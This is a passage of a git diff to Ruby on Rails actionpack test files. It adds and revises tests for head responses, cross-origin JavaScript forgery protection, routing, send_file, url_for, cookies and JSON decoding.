+  def double_redirect
+    redirect_to :action => "double_render"
+    redirect_to :action => "double_render"
   end
 
-  def test_nested_partial_with_form_builder
-    @controller = Fun::GamesController.new
-    get :nested_partial_with_form_builder
-    assert_match(/<label/, @response.body)
-    assert_template('fun/games/_form')
+  def render_and_redirect
+    render :text => "hello"
+    redirect_to :action => "double_render"
   end
 
-  def test_namespaced_object_partial
-    @controller = Quiz::QuestionsController.new
-    get :new
-    assert_equal "Namespaced Partial", @response.body
+  def render_to_string_and_render
+    @stuff = render_to_string :text => "here is some cached stuff"
+    render :text => "Hi web users! #{@stuff}"
   end
 
-  def test_partial_collection
-    get :partial_collection
-    assert_equal "Hello: davidHello: mary", @response.body
+  def render_to_string_with_inline_and_render
+    render_to_string :inline => "<%= 'dlrow olleh'.reverse %>"
+    render :template => "test/hello_world"
   end
 
-  def test_partial_collection_with_as
-    get :partial_collection_with_as
-    assert_equal "david david davidmary mary mary", @response.body
+  def rendering_with_conflicting_local_vars
+    @name = "David"
+    render :action => "potential_conflicts"
   end
 
-  def test_partial_collection_with_counter
-    get :partial_collection_with_counter
-    assert_equal "david0mary1", @response.body
+  def hello_world_from_rxml_using_action
+    render :action => "hello_world_from_rxml", :handlers => [:builder]
   end
 
-  def test_partial_collection_with_as_and_counter
-    get :partial_collection_with_as_and_counter
-    assert_equal "david0mary1", @response.body
+  # :deprecated:
+  def hello_world_from_rxml_using_template
+    render :template => "test/hello_world_from_rxml", :handlers => [:builder]
   end
 
-  def test_partial_collection_with_locals
-    get :partial_collection_with_locals
-    assert_equal "Bonjour: davidBonjour: mary", @response.body
+  def head_created
+    head :created
   end
 
-  def test_locals_option_to_assert_template_is_not_supported
-    get :partial_collection_with_locals
-
-    warning_buffer = StringIO.new
-    $stderr = warning_buffer
-
-    assert_template partial: 'customer_greeting', locals: { greeting: 'Bonjour' }
-    assert_equal "the :locals option to #assert_template is only supported in a ActionView::TestCase\n", warning_buffer.string
-  ensure
-    $stderr = STDERR
+  def head_created_with_application_json_content_type
+    head :created, :content_type => "application/json"
   end
 
-  def test_partial_collection_with_spacer
-    get :partial_collection_with_spacer
-    assert_equal "Hello: davidonly partialHello: mary", @response.body
-    assert_template :partial => '_customer'
+  def head_ok_with_image_png_content_type
+    head :ok, :content_type => "image/png"
   end
 
-  def test_partial_collection_with_spacer_which_uses_render
-    get :partial_collection_with_spacer_which_uses_render
-    assert_equal "Hello: davidpartial html\npartial with partial\nHello: mary", @response.body
-    assert_template :partial => '_customer'
+  def head_with_location_header
+    head :location => "/foo"
   end
 
-  def test_partial_collection_shorthand_with_locals
-    get :partial_collection_shorthand_with_locals
-    assert_equal "Bonjour: davidBonjour: mary", @response.body
-    assert_template :partial => 'customers/_customer', :count => 2
-    assert_template :partial => '_completely_fake_and_made_up_template_that_cannot_possibly_be_rendered', :count => 0
+  def head_with_location_object
+    head :location => Customer.new("david", 1)
   end
 
-  def test_partial_collection_shorthand_with_different_types_of_records
-    get :partial_collection_shorthand_with_different_types_of_records
-    assert_equal "Bonjour bad customer: mark0Bonjour good customer: craig1Bonjour bad customer: john2Bonjour good customer: zach3Bonjour good customer: brandon4Bonjour bad customer: dan5", @response.body
-    assert_template :partial => 'good_customers/_good_customer', :count => 3
-    assert_template :partial => 'bad_customers/_bad_customer', :count => 3
+  def head_with_symbolic_status
+    head :status => params[:status].intern
   end
 
-  def test_empty_partial_collection
-    get :empty_partial_collection
-    assert_equal " ", @response.body
-    assert_template :partial => false
+  def head_with_integer_status
+    head :status => params[:status].to_i
   end
 
-  def test_partial_with_hash_object
-    get :partial_with_hash_object
-    assert_equal "Sam\nmaS\n", @response.body
+  def head_with_string_status
+    head :status => params[:status]
   end
 
-  def test_partial_with_nested_object
-    get :partial_with_nested_object
-    assert_equal "first", @response.body
+  def head_with_custom_header
+    head :x_custom_header => "something"
   end
 
-  def test_partial_with_nested_object_shorthand
-    get :partial_with_nested_object_shorthand
-    assert_equal "first", @response.body
+  def head_with_www_authenticate_header
+    head 'WWW-Authenticate' => 'something'
   end
 
-  def test_hash_partial_collection
-    get :partial_hash_collection
-    assert_equal "Pratik\nkitarP\nAmy\nymA\n", @response.body
+  def head_with_status_code_first
+    head :forbidden, :x_custom_header => "something"
   end
 
-  def test_partial_hash_collection_with_locals
-    get :partial_hash_collection_with_locals
-    assert_equal "Hola: PratikHola: Amy", @response.body
-  end
+  private
 
-  def test_render_missing_partial_template
-    assert_raise(ActionView::MissingTemplate) do
-      get :missing_partial
+    def set_variable_for_layout
+      @variable_for_layout = nil
     end
-  end
 
-  def test_render_call_to_partial_with_layout
-    get :render_call_to_partial_with_layout
-    assert_equal "Before (David)\nInside from partial (David)\nAfter", @response.body
-  end
+    def determine_layout
+      case action_name
+        when "hello_world", "layout_test", "rendering_without_layout",
+             "rendering_nothing_on_layout", "render_text_hello_world",
+             "render_text_hello_world_with_layout",
+             "hello_world_with_layout_false",
+             "partial_only", "accessing_params_in_template",
+             "accessing_params_in_template_with_layout",
+             "render_with_explicit_template",
+             "render_with_explicit_string_template",
+             "update_page", "update_page_with_instance_variables"
+
+          "layouts/standard"
+        when "action_talk_to_layout", "layout_overriding_layout"
+          "layouts/talk_from_action"
+        when "render_implicit_html_template_from_xhr_request"
+          (request.xhr? ? 'layouts/xhr' : 'layouts/standard')
+      end
+    end
+end
+
+class MetalTestController < ActionController::Metal
+  include AbstractController::Rendering
+  include ActionView::Rendering
+  include ActionController::Rendering
 
-  def test_render_call_to_partial_with_layout_in_main_layout_and_within_content_for_layout
-    get :render_call_to_partial_with_layout_in_main_layout_and_within_content_for_layout
-    assert_equal "Before (Anthony)\nInside from partial (Anthony)\nAfter\nBefore (David)\nInside from partial (David)\nAfter\nBefore (Ramm)\nInside from partial (Ramm)\nAfter", @response.body
+  def accessing_logger_in_template
+    render :inline =>  "<%= logger.class %>"
   end
 end
 
 class ExpiresInRenderTest < ActionController::TestCase
   tests TestController
 
-  def setup
-    @request.host = "www.nextangle.com"
-  end
-
   def test_expires_in_header
     get :conditional_hello_with_expires_in
     assert_equal "max-age=60, private", @response.headers["Cache-Control"]
@@ -1598,7 +305,6 @@ class LastModifiedRenderTest < ActionController::TestCase
 
   def setup
     super
-    @request.host = "www.nextangle.com"
     @last_modified = Time.now.utc.beginning_of_day.httpdate
   end
 
@@ -1683,7 +389,6 @@ class EtagRenderTest < ActionController::TestCase
 
   def setup
     super
-    @request.host = "www.nextangle.com"
   end
 
   def test_multiple_etags
@@ -1711,7 +416,6 @@ class EtagRenderTest < ActionController::TestCase
   end
 end
 
-
 class MetalRenderTest < ActionController::TestCase
   tests MetalTestController
 
@@ -1720,3 +424,109 @@ class MetalRenderTest < ActionController::TestCase
     assert_equal "NilClass", @response.body
   end
 end
+
+class HeadRenderTest < ActionController::TestCase
+  tests TestController
+
+  def setup
+    @request.host = "www.nextangle.com"
+  end
+
+  def test_head_created
+    post :head_created
+    assert @response.body.blank?
+    assert_response :created
+  end
+
+  def test_head_created_with_application_json_content_type
+    post :head_created_with_application_json_content_type
+    assert @response.body.blank?
+    assert_equal "application/json", @response.header["Content-Type"]
+    assert_response :created
+  end
+
+  def test_head_ok_with_image_png_content_type
+    post :head_ok_with_image_png_content_type
+    assert @response.body.blank?
+    assert_equal "image/png", @response.header["Content-Type"]
+    assert_response :ok
+  end
+
+  def test_head_with_location_header
+    get :head_with_location_header
+    assert @response.body.blank?
+    assert_equal "/foo", @response.headers["Location"]
+    assert_response :ok
+  end
+
+  def test_head_with_location_object
+    with_routing do |set|
+      set.draw do
+        resources :customers
+        get ':controller/:action'
+      end
+
+      get :head_with_location_object
+      assert @response.body.blank?
+      assert_equal "http://www.nextangle.com/customers/1", @response.headers["Location"]
+      assert_response :ok
+    end
+  end
+
+  def test_head_with_custom_header
+    get :head_with_custom_header
+    assert @response.body.blank?
+    assert_equal "something", @response.headers["X-Custom-Header"]
+    assert_response :ok
+  end
+
+  def test_head_with_www_authenticate_header
+    get :head_with_www_authenticate_header
+    assert @response.body.blank?
+    assert_equal "something", @response.headers["WWW-Authenticate"]
+    assert_response :ok
+  end
+
+  def test_head_with_symbolic_status
+    get :head_with_symbolic_status, :status => "ok"
+    assert_equal 200, @response.status
+    assert_response :ok
+
+    get :head_with_symbolic_status, :status => "not_found"
+    assert_equal 404, @response.status
+    assert_response :not_found
+
+    get :head_with_symbolic_status, :status => "no_content"
+    assert_equal 204, @response.status
+    assert !@response.headers.include?('Content-Length')
+    assert_response :no_content
+
+    Rack::Utils::SYMBOL_TO_STATUS_CODE.each do |status, code|
+      get :head_with_symbolic_status, :status => status.to_s
+      assert_equal code, @response.response_code
+      assert_response status
+    end
+  end
+
+  def test_head_with_integer_status
+    Rack::Utils::HTTP_STATUS_CODES.each do |code, message|
+      get :head_with_integer_status, :status => code.to_s
+      assert_equal message, @response.message
+    end
+  end
+
+  def test_head_with_string_status
+    get :head_with_string_status, :status => "404 Eat Dirt"
+    assert_equal 404, @response.response_code
+    assert_equal "Not Found", @response.message
+    assert_response :not_found
+  end
+
+  def test_head_with_status_code_first
+    get :head_with_status_code_first
+    assert_equal 403, @response.response_code
+    assert_equal "Forbidden", @response.message
+    assert_equal "something", @response.headers["X-Custom-Header"]
+    assert_response :forbidden
+  end
+end
diff --git a/actionpack/test/controller/request_forgery_protection_test.rb b/actionpack/test/controller/request_forgery_protection_test.rb
index c272e78..1f5fc06 100644
--- a/actionpack/test/controller/request_forgery_protection_test.rb
+++ b/actionpack/test/controller/request_forgery_protection_test.rb
@@ -52,18 +52,36 @@ module RequestForgeryProtectionActions
     render :inline => "<%= form_for(:some_resource, :remote => true, :authenticity_token => 'external_token') {} %>"
   end
 
+  def same_origin_js
+    render js: 'foo();'
+  end
+
+  def negotiate_same_origin
+    respond_to do |format|
+      format.js { same_origin_js }
+    end
+  end
+
+  def cross_origin_js
+    same_origin_js
+  end
+
+  def negotiate_cross_origin
+    negotiate_same_origin
+  end
+
   def rescue_action(e) raise e end
 end
 
 # sample controllers
 class RequestForgeryProtectionControllerUsingResetSession < ActionController::Base
   include RequestForgeryProtectionActions
-  protect_from_forgery :only => %w(index meta), :with => :reset_session
+  protect_from_forgery :only => %w(index meta same_origin_js negotiate_same_origin), :with => :reset_session
 end
 
 class RequestForgeryProtectionControllerUsingException < ActionController::Base
   include RequestForgeryProtectionActions
-  protect_from_forgery :only => %w(index meta), :with => :exception
+  protect_from_forgery :only => %w(index meta same_origin_js negotiate_same_origin), :with => :exception
 end
 
 class RequestForgeryProtectionControllerUsingNullSession < ActionController::Base
@@ -78,6 +96,11 @@ class RequestForgeryProtectionControllerUsingNullSession < ActionController::Bas
     cookies.encrypted[:foo] = 'bar'
     render :nothing => true
   end
+
+  def try_to_reset_session
+    reset_session
+    render :nothing => true
+  end
 end
 
 class FreeCookieController < RequestForgeryProtectionControllerUsingResetSession
@@ -196,7 +219,7 @@ module RequestForgeryProtectionTests
   end
 
   def test_should_not_allow_post_without_token_irrespective_of_format
-    assert_blocked { post :index, :format=>'xml' }
+    assert_blocked { post :index, format: 'xml' }
   end
 
   def test_should_not_allow_patch_without_token
@@ -266,6 +289,48 @@ module RequestForgeryProtectionTests
     end
   end
 
+  def test_should_only_allow_same_origin_js_get_with_xhr_header
+    assert_cross_origin_blocked { get :same_origin_js }
+    assert_cross_origin_blocked { get :same_origin_js, format: 'js' }
+    assert_cross_origin_blocked do
+      @request.accept = 'text/javascript'
+      get :negotiate_same_origin
+    end
+
+    assert_cross_origin_not_blocked { xhr :get, :same_origin_js }
+    assert_cross_origin_not_blocked { xhr :get, :same_origin_js, format: 'js' }
+    assert_cross_origin_not_blocked do
+      @request.accept = 'text/javascript'
+      xhr :get, :negotiate_same_origin
+    end
+  end
+
+  # Allow non-GET requests since GET is all a remote <script> tag can muster.
+  def test_should_allow_non_get_js_without_xhr_header
+    assert_cross_origin_not_blocked { post :same_origin_js, custom_authenticity_token: @token }
+    assert_cross_origin_not_blocked { post :same_origin_js, format: 'js', custom_authenticity_token: @token }
+    assert_cross_origin_not_blocked do
+      @request.accept = 'text/javascript'
+      post :negotiate_same_origin, custom_authenticity_token: @token
+    end
+  end
+
+  def test_should_only_allow_cross_origin_js_get_without_xhr_header_if_protection_disabled
+    assert_cross_origin_not_blocked { get :cross_origin_js }
+    assert_cross_origin_not_blocked { get :cross_origin_js, format: 'js' }
+    assert_cross_origin_not_blocked do
+      @request.accept = 'text/javascript'
+      get :negotiate_cross_origin
+    end
+
+    assert_cross_origin_not_blocked { xhr :get, :cross_origin_js }
+    assert_cross_origin_not_blocked { xhr :get, :cross_origin_js, format: 'js' }
+    assert_cross_origin_not_blocked do
+      @request.accept = 'text/javascript'
+      xhr :get, :negotiate_cross_origin
+    end
+  end
+
   def assert_blocked
     session[:something_like_user_id] = 1
     yield
@@ -277,6 +342,16 @@ module RequestForgeryProtectionTests
     assert_nothing_raised { yield }
     assert_response :success
   end
+
+  def assert_cross_origin_blocked
+    assert_raises(ActionController::InvalidCrossOriginRequest) do
+      yield
+    end
+  end
+
+  def assert_cross_origin_not_blocked
+    assert_not_blocked { yield }
+  end
 end
 
 # OK let's get our test on
@@ -300,13 +375,13 @@ class RequestForgeryProtectionControllerUsingResetSessionTest < ActionController
   end
 end
 
-class NullSessionDummyKeyGenerator
-  def generate_key(secret)
-    '03312270731a2ed0d11ed091c2338a06'
+class RequestForgeryProtectionControllerUsingNullSessionTest < ActionController::TestCase
+  class NullSessionDummyKeyGenerator
+    def generate_key(secret)
+      '03312270731a2ed0d11ed091c2338a06'
+    end
   end
-end
 
-class RequestForgeryProtectionControllerUsingNullSessionTest < ActionController::TestCase  
   def setup
     @request.env[ActionDispatch::Cookies::GENERATOR_KEY] = NullSessionDummyKeyGenerator.new
   end
@@ -320,6 +395,11 @@ class RequestForgeryProtectionControllerUsingNullSessionTest < ActionController:
     post :encrypted
     assert_response :ok
   end
+
+  test 'should allow reset_session' do
+    post :try_to_reset_session
+    assert_response :ok
+  end
 end
 
 class RequestForgeryProtectionControllerUsingExceptionTest < ActionController::TestCase
@@ -365,8 +445,8 @@ end
 
 class CustomAuthenticityParamControllerTest < ActionController::TestCase
   def setup
-    ActionController::Base.request_forgery_protection_token = :custom_token_name
     super
+    ActionController::Base.request_forgery_protection_token = :custom_token_name
   end
 
   def teardown
diff --git a/actionpack/test/controller/required_params_test.rb b/actionpack/test/controller/required_params_test.rb
index 343d57c..25d0337 100644
--- a/actionpack/test/controller/required_params_test.rb
+++ b/actionpack/test/controller/required_params_test.rb
@@ -25,3 +25,11 @@ class ActionControllerRequiredParamsTest < ActionController::TestCase
     assert_response :ok
   end
 end
+
+class ParametersRequireTest < ActiveSupport::TestCase
+  test "required parameters must be present not merely not nil" do
+    assert_raises(ActionController::ParameterMissing) do
+      ActionController::Parameters.new(person: {}).require(:person)
+    end
+  end
+end
diff --git a/actionpack/test/controller/resources_test.rb b/actionpack/test/controller/resources_test.rb
index 9aea7e8..a5f43c4 100644
--- a/actionpack/test/controller/resources_test.rb
+++ b/actionpack/test/controller/resources_test.rb
@@ -4,6 +4,7 @@ require 'active_support/core_ext/object/with_options'
 require 'active_support/core_ext/array/extract_options'
 
 class ResourcesTest < ActionController::TestCase
+
   def test_default_restful_routes
     with_restful_routing :messages do
       assert_simply_restful_for :messages
@@ -1004,7 +1005,7 @@ class ResourcesTest < ActionController::TestCase
         end
       end
 
-      assert_resource_allowed_routes('images', { :product_id => '1' },                    { :id => '2' }, [:index, :new, :create, :show, :edit, :update, :destory], [], 'products/1/images')
+      assert_resource_allowed_routes('images', { :product_id => '1' },                    { :id => '2' }, [:index, :new, :create, :show, :edit, :update, :destroy], [], 'products/1/images')
       assert_resource_allowed_routes('images', { :product_id => '1', :format => 'xml' },  { :id => '2' }, [:index, :new, :create, :show, :edit, :update, :destroy], [], 'products/1/images')
     end
   end
@@ -1320,6 +1321,8 @@ class ResourcesTest < ActionController::TestCase
         assert_recognizes options, path_options
       elsif Array(not_allowed).include?(action)
         assert_not_recognizes options, path_options
+      else
+        raise Assertion, 'Invalid Action has passed'
       end
     end
 
diff --git a/actionpack/test/controller/routing_test.rb b/actionpack/test/controller/routing_test.rb
index 46df1a7..df453a0 100644
--- a/actionpack/test/controller/routing_test.rb
+++ b/actionpack/test/controller/routing_test.rb
@@ -2,6 +2,7 @@
 require 'abstract_unit'
 require 'controller/fake_controllers'
 require 'active_support/core_ext/object/with_options'
+require 'active_support/core_ext/object/json'
 
 class MilestonesController < ActionController::Base
   def index() head :ok end
@@ -86,36 +87,36 @@ class LegacyRouteSetTests < ActiveSupport::TestCase
   def test_symbols_with_dashes
     rs.draw do
       get '/:artist/:song-omg', :to => lambda { |env|
-        resp = JSON.dump env[ActionDispatch::Routing::RouteSet::PARAMETERS_KEY]
+        resp = ActiveSupport::JSON.encode env[ActionDispatch::Routing::RouteSet::PARAMETERS_KEY]
         [200, {}, [resp]]
       }
     end
 
-    hash = JSON.load get(URI('http://example.org/journey/faithfully-omg'))
+    hash = ActiveSupport::JSON.decode get(URI('http://example.org/journey/faithfully-omg'))
     assert_equal({"artist"=>"journey", "song"=>"faithfully"}, hash)
   end
 
   def test_id_with_dash
     rs.draw do
       get '/journey/:id', :to => lambda { |env|
-        resp = JSON.dump env[ActionDispatch::Routing::RouteSet::PARAMETERS_KEY]
+        resp = ActiveSupport::JSON.encode env[ActionDispatch::Routing::RouteSet::PARAMETERS_KEY]
         [200, {}, [resp]]
       }
     end
 
-    hash = JSON.load get(URI('http://example.org/journey/faithfully-omg'))
+    hash = ActiveSupport::JSON.decode get(URI('http://example.org/journey/faithfully-omg'))
     assert_equal({"id"=>"faithfully-omg"}, hash)
   end
 
   def test_dash_with_custom_regexp
     rs.draw do
       get '/:artist/:song-omg', :constraints => { :song => /\d+/ }, :to => lambda { |env|
-        resp = JSON.dump env[ActionDispatch::Routing::RouteSet::PARAMETERS_KEY]
+        resp = ActiveSupport::JSON.encode env[ActionDispatch::Routing::RouteSet::PARAMETERS_KEY]
         [200, {}, [resp]]
       }
     end
 
-    hash = JSON.load get(URI('http://example.org/journey/123-omg'))
+    hash = ActiveSupport::JSON.decode get(URI('http://example.org/journey/123-omg'))
     assert_equal({"artist"=>"journey", "song"=>"123"}, hash)
     assert_equal 'Not Found', get(URI('http://example.org/journey/faithfully-omg'))
   end
@@ -123,24 +124,24 @@ class LegacyRouteSetTests < ActiveSupport::TestCase
   def test_pre_dash
     rs.draw do
       get '/:artist/omg-:song', :to => lambda { |env|
-        resp = JSON.dump env[ActionDispatch::Routing::RouteSet::PARAMETERS_KEY]
+        resp = ActiveSupport::JSON.encode env[ActionDispatch::Routing::RouteSet::PARAMETERS_KEY]
         [200, {}, [resp]]
       }
     end
 
-    hash = JSON.load get(URI('http://example.org/journey/omg-faithfully'))
+    hash = ActiveSupport::JSON.decode get(URI('http://example.org/journey/omg-faithfully'))
     assert_equal({"artist"=>"journey", "song"=>"faithfully"}, hash)
   end
 
   def test_pre_dash_with_custom_regexp
     rs.draw do
       get '/:artist/omg-:song', :constraints => { :song => /\d+/ }, :to => lambda { |env|
-        resp = JSON.dump env[ActionDispatch::Routing::RouteSet::PARAMETERS_KEY]
+        resp = ActiveSupport::JSON.encode env[ActionDispatch::Routing::RouteSet::PARAMETERS_KEY]
         [200, {}, [resp]]
       }
     end
 
-    hash = JSON.load get(URI('http://example.org/journey/omg-123'))
+    hash = ActiveSupport::JSON.decode get(URI('http://example.org/journey/omg-123'))
     assert_equal({"artist"=>"journey", "song"=>"123"}, hash)
     assert_equal 'Not Found', get(URI('http://example.org/journey/omg-faithfully'))
   end
@@ -160,14 +161,14 @@ class LegacyRouteSetTests < ActiveSupport::TestCase
   def test_star_paths_are_greedy_but_not_too_much
     rs.draw do
       get "/*path", :to => lambda { |env|
-        x = JSON.dump env["action_dispatch.request.path_parameters"]
+        x = ActiveSupport::JSON.encode env["action_dispatch.request.path_parameters"]
         [200, {}, [x]]
       }
     end
 
     expected = { "path" => "foo/bar", "format" => "html" }
     u = URI('http://example.org/foo/bar.html')
-    assert_equal expected, JSON.parse(get(u))
+    assert_equal expected, ActiveSupport::JSON.decode(get(u))
   end
 
   def test_optional_star_paths_are_greedy
@@ -185,7 +186,7 @@ class LegacyRouteSetTests < ActiveSupport::TestCase
   def test_optional_star_paths_are_greedy_but_not_too_much
     rs.draw do
       get "/(*filters)", :to => lambda { |env|
-        x = JSON.dump env["action_dispatch.request.path_parameters"]
+        x = ActiveSupport::JSON.encode env["action_dispatch.request.path_parameters"]
         [200, {}, [x]]
       }
     end
@@ -193,7 +194,7 @@ class LegacyRouteSetTests < ActiveSupport::TestCase
     expected = { "filters" => "ne_27.065938,-80.6092/sw_25.489856,-82",
                  "format"  => "542794" }
     u = URI('http://example.org/ne_27.065938,-80.6092/sw_25.489856,-82.542794')
-    assert_equal expected, JSON.parse(get(u))
+    assert_equal expected, ActiveSupport::JSON.decode(get(u))
   end
 
   def test_regexp_precidence
@@ -1832,11 +1833,11 @@ class RackMountIntegrationTests < ActiveSupport::TestCase
     assert_equal({:controller => 'foo', :action => 'id_default', :id => 1 }, @routes.recognize_path('/id_default'))
     assert_equal({:controller => 'foo', :action => 'get_or_post'}, @routes.recognize_path('/get_or_post', :method => :get))
     assert_equal({:controller => 'foo', :action => 'get_or_post'}, @routes.recognize_path('/get_or_post', :method => :post))
-    assert_raise(ActionController::ActionControllerError) { @routes.recognize_path('/get_or_post', :method => :put) }
-    assert_raise(ActionController::ActionControllerError) { @routes.recognize_path('/get_or_post', :method => :delete) }
+    assert_raise(ActionController::RoutingError) { @routes.recognize_path('/get_or_post', :method => :put) }
+    assert_raise(ActionController::RoutingError) { @routes.recognize_path('/get_or_post', :method => :delete) }
 
     assert_equal({:controller => 'posts', :action => 'index', :optional => 'bar'}, @routes.recognize_path('/optional/bar'))
-    assert_raise(ActionController::ActionControllerError) { @routes.recognize_path('/optional') }
+    assert_raise(ActionController::RoutingError) { @routes.recognize_path('/optional') }
 
     assert_equal({:controller => 'posts', :action => 'show', :id => '1', :ws => true}, @routes.recognize_path('/ws/posts/show/1', :method => :get))
     assert_equal({:controller => 'posts', :action => 'list', :ws => true}, @routes.recognize_path('/ws/posts/list', :method => :get))
@@ -1915,11 +1916,4 @@ class RackMountIntegrationTests < ActiveSupport::TestCase
       end
       extras
     end
-
-    def assert_raise(e)
-      result = yield
-      flunk "Did not raise #{e}, but returned #{result.inspect}"
-    rescue e
-      assert true
-    end
 end
diff --git a/actionpack/test/controller/send_file_test.rb b/actionpack/test/controller/send_file_test.rb
index 8ecc1c7..4df2f8b 100644
--- a/actionpack/test/controller/send_file_test.rb
+++ b/actionpack/test/controller/send_file_test.rb
@@ -25,6 +25,10 @@ class SendFileController < ActionController::Base
   end
 end
 
+class SendFileWithActionControllerLive < SendFileController
+  include ActionController::Live
+end
+
 class SendFileTest < ActionController::TestCase
   tests SendFileController
   include TestFileUtils
@@ -144,7 +148,7 @@ class SendFileTest < ActionController::TestCase
     }
 
     @controller.headers = {}
-    assert !@controller.send(:send_file_headers!, options)
+    assert_raise(ArgumentError) { @controller.send(:send_file_headers!, options) }
   end
 
   def test_send_file_headers_guess_type_from_extension
@@ -196,4 +200,14 @@ class SendFileTest < ActionController::TestCase
       assert_equal 200, @response.status
     end
   end
+
+  tests SendFileWithActionControllerLive
+
+  def test_send_file_with_action_controller_live
+    @controller = SendFileWithActionControllerLive.new
+    @controller.options = { :content_type => "application/x-ruby" }
+
+    response = process('file')
+    assert_equal 200, response.status
+  end
 end
diff --git a/actionpack/test/controller/test_case_test.rb b/actionpack/test/controller/test_case_test.rb
index 7c27458..fbc10ba 100644
--- a/actionpack/test/controller/test_case_test.rb
+++ b/actionpack/test/controller/test_case_test.rb
@@ -1,5 +1,6 @@
 require 'abstract_unit'
 require 'controller/fake_controllers'
+require 'active_support/json/decoding'
 
 class TestCaseTest < ActionController::TestCase
   class TestController < ActionController::Base
@@ -162,6 +163,29 @@ XML
     end
   end
 
+  class DefaultUrlOptionsCachingController < ActionController::Base
+    before_filter { @dynamic_opt = 'opt' }
+
+    def test_url_options_reset
+      render text: url_for(params)
+    end
+
+    def default_url_options
+      if defined?(@dynamic_opt)
+        super.merge dynamic_opt: @dynamic_opt
+      else
+        super
+      end
+    end
+  end
+
+  def test_url_options_reset
+    @controller = DefaultUrlOptionsCachingController.new
+    get :test_url_options_reset
+    assert_nil @request.params['dynamic_opt']
+    assert_match(/dynamic_opt=opt/, @response.body)
+  end
+
   def test_raw_post_handling
     params = Hash[:page, {:name => 'page name'}, 'some key', 123]
     post :render_raw_post, params.dup
@@ -280,13 +304,6 @@ XML
     assert_equal "/test_case_test/test/test_uri/7", @response.body
   end
 
-  def test_process_with_old_api
-    assert_deprecated do
-      process :test_uri, :id => 7
-      assert_equal "/test_case_test/test/test_uri/7", @response.body
-    end
-  end
-
   def test_process_with_request_uri_with_params_with_explicit_uri
     @request.env['PATH_INFO'] = "/explicit/uri"
     process :test_uri, "GET", :id => 7
@@ -629,7 +646,7 @@ XML
     @request.headers['Referer'] = "http://nohost.com/home"
     @request.headers['Content-Type'] = "application/rss+xml"
     get :test_headers
-    parsed_env = JSON.parse(@response.body)
+    parsed_env = ActiveSupport::JSON.decode(@response.body)
     assert_equal "http://nohost.com/home", parsed_env["HTTP_REFERER"]
     assert_equal "application/rss+xml", parsed_env["CONTENT_TYPE"]
   end
@@ -638,7 +655,7 @@ XML
     @request.headers['HTTP_REFERER'] = "http://example.com/about"
     @request.headers['CONTENT_TYPE'] = "application/json"
     get :test_headers
-    parsed_env = JSON.parse(@response.body)
+    parsed_env = ActiveSupport::JSON.decode(@response.body)
     assert_equal "http://example.com/about", parsed_env["HTTP_REFERER"]
     assert_equal "application/json", parsed_env["CONTENT_TYPE"]
   end
@@ -712,6 +729,14 @@ XML
     assert @request.params[:foo].blank?
   end
 
+  def test_filtered_parameters_reset_between_requests
+    get :no_op, :foo => "bar"
+    assert_equal "bar", @request.filtered_parameters[:foo]
+
+    get :no_op, :foo => "baz"
+    assert_equal "baz", @request.filtered_parameters[:foo]
+  end
+
   def test_symbolized_path_params_reset_after_request
     get :test_params, :id => "foo"
     assert_equal "foo", @request.symbolized_path_parameters[:id]
diff --git a/actionpack/test/controller/url_for_test.rb b/actionpack/test/controller/url_for_test.rb
index 088ad73..0c6df16 100644
--- a/actionpack/test/controller/url_for_test.rb
+++ b/actionpack/test/controller/url_for_test.rb
@@ -169,6 +169,18 @@ module AbstractController
         )
       end
 
+      def test_without_protocol_and_with_port
+        add_host!
+        add_port!
+
+        assert_equal('//www.basecamphq.com:3000/c/a/i',
+          W.new.url_for(:controller => 'c', :action => 'a', :id => 'i', :protocol => '//')
+        )
+        assert_equal('//www.basecamphq.com:3000/c/a/i',
+          W.new.url_for(:controller => 'c', :action => 'a', :id => 'i', :protocol => false)
+        )
+      end
+
       def test_trailing_slash
         add_host!
         options = {:controller => 'foo', :trailing_slash => true, :action => 'bar', :id => '33'}
@@ -204,9 +216,6 @@ module AbstractController
       end
 
       def test_relative_url_root_is_respected
-        # ROUTES TODO: Tests should not have to pass :relative_url_root directly. This
-        # should probably come from routes.
-
         add_host!
         assert_equal('https://www.basecamphq.com/subdir/c/a/i',
           W.new.url_for(:controller => 'c', :action => 'a', :id => 'i', :protocol => 'https', :script_name => '/subdir')
@@ -370,6 +379,24 @@ module AbstractController
         assert_equal("/c/a?show=false", W.new.url_for(:only_path => true, :controller => 'c', :action => 'a', :show => false))
       end
 
+      def test_url_generation_with_array_and_hash
+        with_routing do |set|
+          set.draw do
+            namespace :admin do
+              resources :posts
+            end
+          end
+
+          kls = Class.new { include set.url_helpers }
+          kls.default_url_options[:host] = 'www.basecamphq.com'
+
+          controller = kls.new
+          assert_equal("http://www.basecamphq.com/admin/posts/new?param=value",
+            controller.send(:url_for, [:new, :admin, :post, { param: 'value' }])
+          )
+        end
+      end
+
       private
         def extract_params(url)
           url.split('?', 2).last.split('&').sort
diff --git a/actionpack/test/controller/webservice_test.rb b/actionpack/test/controller/webservice_test.rb
index b2dfd96..d80b0e2 100644
--- a/actionpack/test/controller/webservice_test.rb
+++ b/actionpack/test/controller/webservice_test.rb
@@ -1,4 +1,5 @@
 require 'abstract_unit'
+require 'active_support/json/decoding'
 
 class WebServiceTest < ActionDispatch::IntegrationTest
   class TestController < ActionController::Base
@@ -54,7 +55,7 @@ class WebServiceTest < ActionDispatch::IntegrationTest
 
   def test_register_and_use_json_simple
     with_test_route_set do
-      with_params_parsers Mime::JSON => Proc.new { |data| JSON.parse(data)['request'].with_indifferent_access } do
+      with_params_parsers Mime::JSON => Proc.new { |data| ActiveSupport::JSON.decode(data)['request'].with_indifferent_access } do
         post "/", '{"request":{"summary":"content...","title":"JSON"}}',
           'CONTENT_TYPE' => 'application/json'
 
diff --git a/actionpack/test/dispatch/cookies_test.rb b/actionpack/test/dispatch/cookies_test.rb
index 91ac13e..0f14566 100644
--- a/actionpack/test/dispatch/cookies_test.rb
+++ b/actionpack/test/dispatch/cookies_test.rb
@@ -11,6 +11,16 @@ require 'active_support/key_generator'
 require 'active_support/message_verifier'
 
 class CookiesTest < ActionController::TestCase
+  class CustomSerializer
+    def self.load(value)
+      value.to_s + " and loaded"
+    end
+
+    def self.dump(value)
+      value.to_s + " was dumped"
+    end
+  end
+
   class TestController < ActionController::Base
     def authenticate
       cookies["user_name"] = "david"
@@ -359,9 +369,72 @@ class CookiesTest < ActionController::TestCase
     assert_equal 'Jamie', @controller.send(:cookies).permanent[:user_name]
   end
 
-  def test_signed_cookie
+  def test_signed_cookie_using_default_serializer
     get :set_signed_cookie
-    assert_equal 45, @controller.send(:cookies).signed[:user_id]
+    cookies = @controller.send :cookies
+    assert_not_equal 45, cookies[:user_id]
